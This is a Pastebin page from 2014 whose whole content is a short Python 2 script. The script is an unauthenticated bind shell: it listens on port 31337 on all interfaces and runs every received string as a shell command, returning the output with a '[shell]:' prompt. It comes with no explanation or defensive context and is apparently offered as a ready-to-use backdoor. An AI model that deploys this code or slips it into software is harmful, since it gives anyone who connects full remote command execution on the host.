Advertisement
Guest User

Untitled

a guest
Apr 18th, 2014
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.02 KB | None | 0 0
  1. import socket
  2. import sys
  3. import subprocess
  4.  
  5. HOST = ''
  6. PORT = 31337
  7. s = None
  8. for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,
  9. socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
  10. af, socktype, proto, canonname, sa = res
  11. try:
  12. s = socket.socket(af, socktype, proto)
  13. except socket.error as msg:
  14. s = None
  15. print msg
  16. continue
  17. try:
  18. s.bind(sa)
  19. except socket.error as msg:
  20. s.close()
  21. s = None
  22. continue
  23. break
  24.  
  25. while 1:
  26. s.listen(5)
  27. conn,addr = s.accept()
  28. conn.send('HEY YOU GUISE!')
  29. connected = 1
  30. while connected == 1:
  31. try:
  32. data = conn.recv(1024)
  33. proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  34. stdoutput = proc.stdout.read() + proc.stderr.read()
  35. conn.send(stdoutput + u"\r\n[shell]:")
  36. except:
  37. conn.close
  38. connected = 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement